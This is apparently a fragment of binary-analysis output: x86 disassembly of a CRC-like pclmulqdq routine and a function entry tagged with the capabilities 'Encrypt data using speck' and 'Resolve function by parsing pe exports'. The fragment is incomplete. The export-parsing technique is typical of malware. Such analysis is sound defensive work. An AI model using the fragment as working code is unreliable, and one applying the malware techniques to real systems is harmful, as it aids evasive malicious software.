pclmulqdq xmm2, xmm4, 0
cmp eax, 0xf
pxor xmm2, xmm1
pxor xmm0, xmm2
ja 0x4186a0
pmovzxdq xmm1, qword [0x4e7450]
pxor xmm2, xmm2
test eax, eax
pclmulqdq xmm1, xmm0, 1
psrldq xmm0, 8
pxor xmm0, xmm1
pxor xmm1, xmm1
pblendw xmm2, xmm0, 3
psrldq xmm0, 4
pclmulqdq xmm2, xmmword [0x4e7420], 0
pxor xmm0, xmm2
pxor xmm2, xmm2
pblendw xmm2, xmm0, 3
pclmulqdq xmm2, xmmword [0x4e7430], 0x10
pblendw xmm2, xmm1, 0xfc
pclmulqdq xmm2, xmmword [0x4e7440], 0
pxor xmm2, xmm0
pextrd ecx, xmm2, 1
not ecx
je 0x41873e
push eax
call fcn.004181c0
add esp, 4
ret
mov eax, ecx
ret

Function at 0x41a500
Capabilities:
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x128
cmp dword [esp + 0x140], 0
call fcn.0041a517